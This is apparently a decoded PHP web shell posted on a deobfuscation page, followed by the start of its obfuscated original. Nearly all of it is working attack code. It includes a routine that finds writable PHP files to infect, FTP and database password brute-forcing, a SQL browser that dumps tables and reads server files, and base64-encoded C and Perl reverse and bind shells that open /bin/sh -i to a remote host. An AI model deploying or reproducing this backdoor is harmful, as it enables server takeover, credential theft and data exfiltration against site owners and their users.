    <style>html{height:100%}html body{width:100%;height:100%;margin:0;font-family:Nunito, sans-serif;}.container{display:block;position:relative;width:100%;height:100%;background:black}.container .text{color:#fff;position:absolute;top:50%;right:50%;margin:-10px -75px 0 0;font-size:20px;font-family:Nunito, sans-serif;font-weight:700}.shooting-stars{z-index:10;width:5px;height:85px;border-top-left-radius:50%;border-top-right-radius:50%;position:absolute;bottom:0;right:0;background:linear-gradient(to top,rgba(255,255,255,0),#fff);animation:animShootingStar 10s linear infinite}@keyframes animStar{from{transform:translateY(0)}to{transform:translateY(-2560px) translateX(-2560px)}}@keyframes animShootingStar{from{transform:translateY(0) translateX(0) rotate(-45deg);opacity:1;height:5px}to{transform:translateY(-2560px) translateX(-2560px) rotate(-45deg);opacity:1;height:800px}}</style>
    ");
    }
    function actionSelfRemove()
    {
        if ($_POST['p1'] == 'yes')
            if (@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
                die('Its has been removed');
            else
                echo 'unlink error!';
        if ($_POST['p1'] != 'yes')
            hardHeader();
        echo '<h1>Suicide</h1><div class=content>Really want to remove the It?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
        hardFooter();
    }
    function actionInfect()
    {
        hardHeader();
        echo '<h1>Infect</h1><div class=content>';
        if ($_POST['p1'] == 'infect') {
            $target = $_SERVER['DOCUMENT_ROOT'];
            function ListFiles($dir)
            {
                if ($dh = opendir($dir)) {
                    $files = array();
                    $inner_files = array();
                    while ($file = readdir($dh)) {
                        if ($file != "." && $file != "..") {
                            if (is_dir($dir . "/" . $file)) {
                                $inner_files = ListFiles($dir . "/" . $file);
                                if (is_array($inner_files))
                                    $files = array_merge($files, $inner_files);
                            } else {
                                array_push($files, $dir . "/" . $file);
                            }
                        }
                    }
                    closedir($dh);
                    return $files;
                }
            }
            foreach (ListFiles($target) as $key => $file) {
                $nFile = substr($file, -4, 4);
                if ($nFile == ".php") {
                    if (($file <> $_SERVER['DOCUMENT_ROOT'] . $_SERVER['PHP_SELF']) && (is_writeable($file))) {
                        echo "$file<br>";
                        $i++;
                    }
                }
            }
            echo "<font color=#a10705 size=14>$i</font>";
        } else {
            echo "<form method=post><input type=submit value=Infect name=infet></form>";
            echo 'Really want to infect the server?&nbsp;<a href=# onclick="g(null,null,\'infect\')">Yes</a></div>';
        }
        hardFooter();
    }
    function actionBruteforce()
    {
        hardHeader();
        if (isset($_POST['proto'])) {
            echo '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br>';
            if ($_POST['proto'] == 'ftp') {
                function bruteForce($ip, $port, $login, $pass)
                {
                    $fp = @ftp_connect($ip, $port ? $port : 21);
                    if (!$fp)
                        return false;
                    $res = @ftp_login($fp, $login, $pass);
                    @ftp_close($fp);
                    return $res;
                }
            } elseif ($_POST['proto'] == 'mysql') {
                function bruteForce($ip, $port, $login, $pass)
                {
                    $res = @mysql_connect($ip . ':' . ($port ? $port : 3306), $login, $pass);
                    @mysql_close($res);
                    return $res;
                }
            } elseif ($_POST['proto'] == 'pgsql') {
                function bruteForce($ip, $port, $login, $pass)
                {
                    $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
                    $res = @pg_connect($str);
                    @pg_close($res);
                    return $res;
                }
            }
            $success = 0;
            $attempts = 0;
            $server = explode(":", $_POST['server']);
            if ($_POST['type'] == 1) {
                $temp = @file('/etc/passwd');
                if (is_array($temp))
                    foreach ($temp as $line) {
                        $line = explode(":", $line);
                        ++$attempts;
                        if (bruteForce(@$server[0], @$server[1], $line[0], $line[0])) {
                            $success++;
                            echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br>';
                        }
                        if (@$_POST['reverse']) {
                            $tmp = "";
                            for ($i = strlen($line[0]) - 1; $i >= 0; --$i)
                                $tmp .= $line[0][$i];
                            ++$attempts;
                            if (bruteForce(@$server[0], @$server[1], $line[0], $tmp)) {
                                $success++;
                                echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
                            }
                        }
                    }
            } elseif ($_POST['type'] == 2) {
                $temp = @file($_POST['dict']);
                if (is_array($temp))
                    foreach ($temp as $line) {
                        $line = trim($line);
                        ++$attempts;
                        if (bruteForce($server[0], @$server[1], $_POST['login'], $line)) {
                            $success++;
                            echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br>';
                        }
                    }
            }
            echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
        }
        echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
            . '<td><label><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></label></td></tr><tr><td>'
            . '<input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">'
            . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">'
            . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">'
            . '<input type=hidden name=ne  value="">'
            . '<span>Server:port</span></td>'
            . '<td><input type=text name=server value="127.0.0.1"></td></tr>'
            . '<tr><td><span>Brute type</span></td>'
            . '<td><input type=radio name=type value="1" checked> /etc/passwd</td></tr>'
            . '<tr><td></td><td style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</td></tr>'
            . '<tr><td></td><td><input type=radio name=type value="2"> Dictionary</td></tr>'
            . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
            . '<td><input type=text name=login value="root"></td></tr>'
            . '<tr><td><span>Dictionary</span></td>'
            . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>'
            . '</td></tr><tr><td></td><td><input type=submit value="submit"></td></tr></form></table>';
        echo '</div>';
        hardFooter();
    }
    function actionSql()
    {
        class DbClass
        {
            var $type;
            var $link;
            var $res;
            function __construct($type)
            {
                $this->type = $type;
            }
            function connect($host, $user, $pass, $dbname)
            {
                switch ($this->type) {
                    case 'mysql':
                        if ($this->link = @mysql_connect($host, $user, $pass, true))
                            return true;
                        break;
                    case 'pgsql':
                        $host = explode(':', $host);
                        if (!$host[1])
                            $host[1] = 5432;
                        if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname"))
                            return true;
                        break;
                }
                return false;
            }
            function selectdb($db)
            {
                switch ($this->type) {
                    case 'mysql':
                        if (@mysql_select_db($db))
                            return true;
                        break;
                }
                return false;
            }
            function query($str)
            {
                switch ($this->type) {
                    case 'mysql':
                        return $this->res = @mysql_query($str);
                        break;
                    case 'pgsql':
                        return $this->res = @pg_query($this->link, $str);
                        break;
                }
                return false;
            }
            function fetch()
            {
                $res = func_num_args() ? func_get_arg(0) : $this->res;
                switch ($this->type) {
                    case 'mysql':
                        return @mysql_fetch_assoc($res);
                        break;
                    case 'pgsql':
                        return @pg_fetch_assoc($res);
                        break;
                }
                return false;
            }
            function listDbs()
            {
                switch ($this->type) {
                    case 'mysql':
                        return $this->query("SHOW databases");
                        break;
                    case 'pgsql':
                        return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
                        break;
                }
                return false;
            }
            function listTables()
            {
                switch ($this->type) {
                    case 'mysql':
                        return $this->res = $this->query('SHOW TABLES');
                        break;
                    case 'pgsql':
                        return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
                        break;
                }
                return false;
            }
            function error()
            {
                switch ($this->type) {
                    case 'mysql':
                        return @mysql_error();
                        break;
                    case 'pgsql':
                        return @pg_last_error();
                        break;
                }
                return false;
            }
            function setCharset($str)
            {
                switch ($this->type) {
                    case 'mysql':
                        if (function_exists('mysql_set_charset'))
                            return @mysql_set_charset($str, $this->link);
                        else
                            $this->query('SET CHARSET ' . $str);
                        break;
                    case 'pgsql':
                        return @pg_set_client_encoding($this->link, $str);
                        break;
                }
                return false;
            }
            function loadFile($str)
            {
                switch ($this->type) {
                    case 'mysql':
                        return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
                        break;
                    case 'pgsql':
                        $this->query("CREATE TABLE hard2(file text);COPY hard2 FROM '" . addslashes($str) . "';select file from hard2;");
                        $r = array();
                        while ($i = $this->fetch())
                            $r[] = $i['file'];
                        $this->query('drop table hard2');
                        return array('file' => implode("
", $r));
                        break;
                }
                return false;
            }
            function dump($table, $fp = false)
            {
                switch ($this->type) {
                    case 'mysql':
                        $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
                        $create = mysql_fetch_array($res);
                        $sql = $create[1] . ";
";
                        if ($fp)
                            fwrite($fp, $sql);
                        else
                            echo ($sql);
                        $this->query('SELECT * FROM `' . $table . '`');
                        $i = 0;
                        $head = true;
                        while ($op = $this->fetch()) {
                            $sql = '';
                            if ($i % 1000 == 0) {
                                $head = true;
                                $sql = ";

";
                            }
                            $columns = array();
                            foreach ($op as $k => $v) {
                                if ($v === null)
                                    $op[$k] = "NULL";
                                elseif (is_int($v))
                                    $op[$k] = $v;
                                else
                                    $op[$k] = "'" . @mysql_real_escape_string($v) . "'";
                                $columns[] = "`" . $k . "`";
                            }
                            if ($head) {
                                $sql .= 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES 
	(" . implode(", ", $op) . ')';
                                $head = false;
                            } else
                                $sql .= "
	,(" . implode(", ", $op) . ')';
                            if ($fp)
                                fwrite($fp, $sql);
                            else
                                echo ($sql);
                            $i++;
                        }
                        if (!$head)
                            if ($fp)
                                fwrite($fp, ";

");
                            else
                                echo (";

");
                        break;
                    case 'pgsql':
                        $this->query('SELECT * FROM ' . $table);
                        while ($op = $this->fetch()) {
                            $columns = array();
                            foreach ($op as $k => $v) {
                                $op[$k] = "'" . addslashes($v) . "'";
                                $columns[] = $k;
                            }
                            $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $op) . ');' . "
";
                            if ($fp)
                                fwrite($fp, $sql);
                            else
                                echo ($sql);
                        }
                        break;
                }
                return false;
            }
        }
        ;
        $db = new DbClass($_POST['type']);
        if ((@$_POST['p2'] == 'download') && (@$_POST['p1'] != 'select')) {
            $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
            $db->selectdb($_POST['sql_base']);
            switch ($_POST['charset']) {
                case "Windows-1251":
                    $db->setCharset('cp1251');
                    break;
                case "UTF-8":
                    $db->setCharset('utf8');
                    break;
                case "KOI8-R":
                    $db->setCharset('koi8r');
                    break;
                case "KOI8-U":
                    $db->setCharset('koi8u');
                    break;
                case "cp866":
                    $db->setCharset('cp866');
                    break;
            }
            if (empty($_POST['file'])) {
                ob_start("ob_gzhandler", 4096);
                header("Content-Disposition: attachment; filename=dump.sql");
                header("Content-Type: text/plain");
                foreach ($_POST['tbl'] as $v)
                    $db->dump($v);
                exit;
            } elseif ($fp = @fopen($_POST['file'], 'w')) {
                foreach ($_POST['tbl'] as $v)
                    $db->dump($v, $fp);
                fclose($fp);
                unset($_POST['p2']);
            } else
                die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
        }
        hardHeader();
        echo "
    <h1>Sql browser</h1><div class=content>
    <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
    <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
    <input type=hidden name=ne value=''><input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
    <td><label><select name='type'><option value='mysql' ";
        if (@$_POST['type'] == 'mysql')
            echo 'selected';
        echo ">MySql</option><option value='pgsql' ";
        if (@$_POST['type'] == 'pgsql')
            echo 'selected';
        echo ">PostgreSql</option></select></label></td>
    <td><input type=text name=sql_host value=\"" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "\"></td>
    <td><input type=text name=sql_login value=\"" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "\"></td>
    <td><input type=text name=sql_pass value=\"" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "\" required></td><td>";
        $tmp = "<input type=text name=sql_base value=''>";
        if (isset($_POST['sql_host'])) {
            if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
                switch ($_POST['charset']) {
                    case "Windows-1251":
                        $db->setCharset('cp1251');
                        break;
                    case "UTF-8":
                        $db->setCharset('utf8');
                        break;
                    case "KOI8-R":
                        $db->setCharset('koi8r');
                        break;
                    case "KOI8-U":
                        $db->setCharset('koi8u');
                        break;
                    case "cp866":
                        $db->setCharset('cp866');
                        break;
                }
                $db->listDbs();
                echo "<label><select name=sql_base><option value=''></option>";
                while ($op = $db->fetch()) {
                    list($key, $value) = each($op);
                    echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
                }
                echo '</select></label>';
            } else
                echo $tmp;
        } else
            echo $tmp;
        echo "</td>
                    <td><input type=submit value='submit' onclick='fs(d.sf);'></td>
                    <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td>
                </tr>
            </table>
            <script>
                s_db='" . @addslashes($_POST['sql_base']) . "';
                function fs(f) {
                    if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
                        if(f.p1) f.p1.value='';
                        if(f.p2) f.p2.value='';
                        if(f.p3) f.p3.value='';
                    }
                }
                function st(t,l) {
                    d.sf.p1.value = 'select';
                    d.sf.p2.value = t;
                    if(l && d.sf.p3) d.sf.p3.value = l;
                    d.sf.submit();
                }
                function is() {
                    for(i=0;i<d.sf.elements['tbl[]'].length;++i)
                        d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
                }
            </script>";
        if (isset($db) && $db->link) {
            echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
            if (!empty($_POST['sql_base'])) {
                $db->selectdb($_POST['sql_base']);
                echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
                $tbls_res = $db->listTables();
                while ($op = $db->fetch($tbls_res)) {
                    list($key, $value) = each($op);
                    if (!empty($_POST['sql_count']))
                        $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
                    $value = htmlspecialchars($value);
                    echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'>&nbsp;<a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? '&nbsp;' : " <small>({$n['n']})</small>") . "</nobr><br>";
                }
                echo "<input type='checkbox' onclick='is();'> <input type=submit value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
                if (@$_POST['p1'] == 'select') {
                    $_POST['p1'] = 'query';
                    $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1;
                    $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
                    $num = $db->fetch();
                    $pages = ceil($num['n'] / 30);
                    echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int) $_POST['p3']) . ">";
                    echo " of $pages";
                    if ($_POST['p3'] > 1)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - 1) . ")'>&lt; Prev</a>";
                    if ($_POST['p3'] < $pages)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] + 1) . ")'>Next &gt;</a>";
                    $_POST['p3']--;
                    if ($_POST['type'] == 'pgsql')
                        $_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . ($_POST['p3'] * 30);
                    else
                        $_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . ($_POST['p3'] * 30) . ',30';
                    echo "<br><br>";
                }
                if ((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
                    $db->query(@$_POST['p2']);
                    if ($db->res !== false) {
                        $title = false;
                        echo '<table width=100% cellspacing=1 cellpadding=2 class=main>';
                        $line = 1;
                        while ($op = $db->fetch()) {
                            if (!$title) {
                                echo '<tr>';
                                foreach ($op as $key => $value)
                                    echo '<th>' . $key . '</th>';
                                reset($op);
                                $title = true;
                                echo '</tr><tr>';
                                $line = 2;
                            }
                            echo '<tr class="l' . $line . '">';
                            $line = $line == 1 ? 2 : 1;
                            foreach ($op as $key => $value) {
                                if ($value == null)
                                    echo '<td><i>null</i></td>';
                                else
                                    echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
                            }
                            echo '</tr>';
                        }
                        echo '</table>';
                    } else {
                        echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
                    }
                }
                echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
                if (!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
                    echo htmlspecialchars($_POST['p2']);
                echo "</textarea><br/><input type=submit value='Execute'>";
                echo "</td></tr>";
            }
            echo "</table></form><br/>";
            if ($_POST['type'] == 'mysql') {
                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
                if ($db->fetch())
                    echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='submit'></form>";
            }
            if (@$_POST['p1'] == 'loadfile') {
                $file = $db->loadFile($_POST['p2']);
                echo '<br/><pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
            }
        } else {
            echo htmlspecialchars($db->error());
        }
        echo '</div>';
        hardFooter();
    }
    function actionNetwork()
    {
        hardHeader();
        $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
        $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
        $bind_port_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
        $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
        echo "<h1>Network tools</h1><div class=content>
        <form name='nfp' onSubmit='g(null,null,this.using.value,this.port.value,this.pass.value);return false;'>
        <span>Bind port to /bin/sh</span><br/>
        Port: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass'> Using: <label><select name='using'><option value='bpc'>C</option><option value='bpp'>Perl</option></select></label> <input type=submit value='submit'>
        </form>
        <form name='nfp' onSubmit='g(null,null,this.using.value,this.server.value,this.port.value);return false;'>
        <span>Back-connect to</span><br/>
        Server: <input type='text' name='server' value=" . $_SERVER['REMOTE_ADDR'] . "> Port: <input type='text' name='port' value='31337'> Using: <label><select name='using'><option value='bcc'>C</option><option value='bcp'>Perl</option></select></label> <input type=submit value='submit'>
        </form><br>";
        if (isset($_POST['p1'])) {
            function cf($f, $t)
            {
                $w = @fopen($f, "w") or @function_exists('file_put_contents');
                if ($w) {
                    @fwrite($w, base64_decode($t)) or @fputs($w, base64_decode($t)) or @file_put_contents($f, base64_decode($t));
                    @fclose($w);
                }
            }
            if ($_POST['p1'] == 'bpc') {
                cf("/tmp/bp.c", $bind_port_c);
                $ = ex("gcc -o /tmp/bp /tmp/bp.c");
                @unlink("/tmp/bp.c");
                $ .= ex("/tmp/bp " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                echo "<pre class=ml1>$" . ex("ps aux | grep bp") . "</pre>";
            }
            if ($_POST['p1'] == 'bpp') {
                cf("/tmp/bp.pl", $bind_port_p);
                $ = ex(which("perl") . " /tmp/bp.pl " . $_POST['p2'] . " &");
                echo "<pre class=ml1>$" . ex("ps aux | grep bp.pl") . "</pre>";
            }
            if ($_POST['p1'] == 'bcc') {
                cf("/tmp/bc.c", $back_connect_c);
                $ = ex("gcc -o /tmp/bc /tmp/bc.c");
                @unlink("/tmp/bc.c");
                $ .= ex("/tmp/bc " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                echo "<pre class=ml1>$" . ex("ps aux | grep bc") . "</pre>";
            }
            if ($_POST['p1'] == 'bcp') {
                cf("/tmp/bc.pl", $back_connect_p);
                $ = ex(which("perl") . " /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                echo "<pre class=ml1>$" . ex("ps aux | grep bc.pl") . "</pre>";
            }
        }
        echo '</div>';
        hardFooter();
    }
    if (empty($_POST['a']))
        if (isset($var4) && function_exists('action' . $var4))
            $_POST['a'] = $var4;
        else
            $_POST['a'] = 'FilesMan';
    if (!empty($_POST['a']) && function_exists('action' . $_POST['a']))
        call_user_func('action' . $_POST['a']);
    PHP;

    $tmpFile = tempnam(sys_get_temp_dir(), 'dynamic');
    $fileHandle = fopen($tmpFile, 'w');
    $vari = "?><?php ".$baseCode." ?>";
    fwrite($fileHandle, $vari);
    fclose($fileHandle);
    ob_start();
    include $tmpFile;
    $output = ob_get_clean();
    unlink($tmpFile);
    echo $output;
?>

Did this file decode correctly?

Original Code

<?php $OVTLAoKLjA = false;$Jcyndc72Ukq = true;$CLZMFfstAAD = "dSRFRlK";$SOq0LK7 = "GiFWpZnfE";$BVdvIOhV = false;$ykcywt = false;$afFCxeJ4f5 = "ubJzNhrbbXG";$MKZwtng = true;$OBKcalt = "fbd88aed85169879ed4216e29957c0cc3ad293d6";$fhx3jem = "7841fb1f92b99194ca818d410cb09430731b6285";$RMnPgJl = "OFaFE8U6Ku6H";$RPKNwTuY2 = "93a9eb58514875f262c0128104f9b33aeb8ca8b8";$mim5XFVJk = true;$S3pPB1jy = false;$s2NilPL = "";$zA3ME5rS = "8a662c4cd8df28eeda49c30da8bcb92c";$EDsZxi = 8829;$LjKdtETfF9LPf = "";$hluRgl = "";$fWdrfjmvxGX = 29537;$kreCYC = "fc8001f834f6a5f0561080d134d53d29";$lzwlsuA = "14fe29ea31af2e4d7daa0dfa803df05c";$UcuOhsMM = "247c0a953f3a082b83443b3dfccedffb";$utVETDm = "";$AryTBVj = 31763;$o = 